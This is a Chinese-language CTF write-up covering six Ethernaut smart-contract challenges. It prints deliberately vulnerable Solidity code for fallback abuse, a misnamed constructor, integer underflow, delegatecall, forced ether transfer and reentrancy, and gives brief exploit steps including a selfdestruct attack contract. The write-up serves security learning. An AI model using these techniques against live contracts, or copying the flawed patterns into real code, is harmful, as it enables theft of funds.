深入Ethernaut CTF挑战:智能合约漏洞实战解析

本文详细解析了Ethernaut CTF中六个智能合约挑战的漏洞原理与利用方法,涵盖回退函数滥用、构造函数命名错误、整数下溢、委托调用风险、强制转账和重入攻击等核心安全议题。

1. Fallback

挑战描述

合约包含一个构造函数和四个函数。目标是成为合约所有者并提取所有资金。

构造函数在合约部署时初始化所有者贡献值:

1
2
3
function Fallback() {
  contributions[msg.sender] = 1000 * (1 ether);
}

contribute()函数记录用户贡献值,当贡献超过原所有者时转移所有权:

1
2
3
4
5
6
7
function contribute() public payable {
  require(msg.value < 0.001 ether);
  contributions[msg.sender] += msg.value;
  if(contributions[msg.sender] > contributions[owner]) {
    owner = msg.sender;
  }
}

withdraw()函数仅允许所有者提取资金:

1
2
3
function withdraw() onlyOwner {
  owner.transfer(this.balance);
}

回退函数在满足条件时直接转移所有权:

1
2
3
4
function() payable {
  require(msg.value > 0 && contributions[msg.sender] > 0);
  owner = msg.sender;
}

回退函数机制

以太坊函数调用通过4字节函数选择器识别,未匹配时触发回退函数。使用Ethersplay反汇编器可查看调度器结构。

解决方案

  1. 调用contract.contribution({value:1})存入初始资金
  2. 通过MetaMask直接向合约地址转账触发回退函数
  3. 调用contract.withdraw()提取资金

2. Fallout

挑战描述

构造函数名称Fal1out与合约名Fallout不一致,导致其成为普通公共函数:

1
2
3
4
function Fal1out() payable {
  owner = msg.sender;
  allocations[owner] = msg.value;
}

解决方案

直接调用contract.Fal1out()即可获得所有权

3. Token

挑战描述

transfer函数存在整数下溢漏洞:

1
2
3
4
5
6
function transfer(address _to, uint _value) public returns (bool) {
  require(balances[msg.sender] - _value >= 0);  // 无符号整数恒真
  balances[msg.sender] -= _value;              // 可触发下溢
  balances[_to] += _value;
  return true;
}

解决方案

调用contract.transfer(0x0, 21)使余额变为2^256-1

4. Delegation

挑战描述

Delegation合约通过delegatecall调用Delegate合约:

1
2
3
4
5
function() {
  if(delegate.delegatecall(msg.data)) {
    this;
  }
}

Delegate合约包含所有权修改函数:

1
2
3
function pwn() {
  owner = msg.sender;
}

解决方案

向回退函数发送pwn()的函数选择器0xdd365b8b

5. Force

挑战描述

向无payable回退函数的合约强制转账的方法:

  • 调用selfdestruct(address)
  • 设置挖矿奖励地址
  • 合约创建前向地址转账

解决方案

创建自毁合约:

1
2
3
4
5
6
contract Selfdestruct{
  function Selfdestruct() payable{}
  function attack(){
    selfdestruct(0x..);
  }
}

6. Re-entrancy

挑战描述

withdraw函数存在重入漏洞:

1
2
3
4
5
6
7
8
function withdraw(uint _amount) public {
  if(balances[msg.sender] >= _amount) {
    if(msg.sender.call.value(_amount)()) {  // 外部调用优先执行
      _amount;
    }
    balances[msg.sender] -= _amount;        // 状态更新滞后
  }
}

解决方案

创建代理合约,在回退函数中递归调用withdraw

结论

该CTF提供了优秀的智能合约安全入门体验。文中提及的工具包括Slither静态分析器、Manticore符号执行器和Ethersplay反汇编器,可用于智能合约安全审计。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计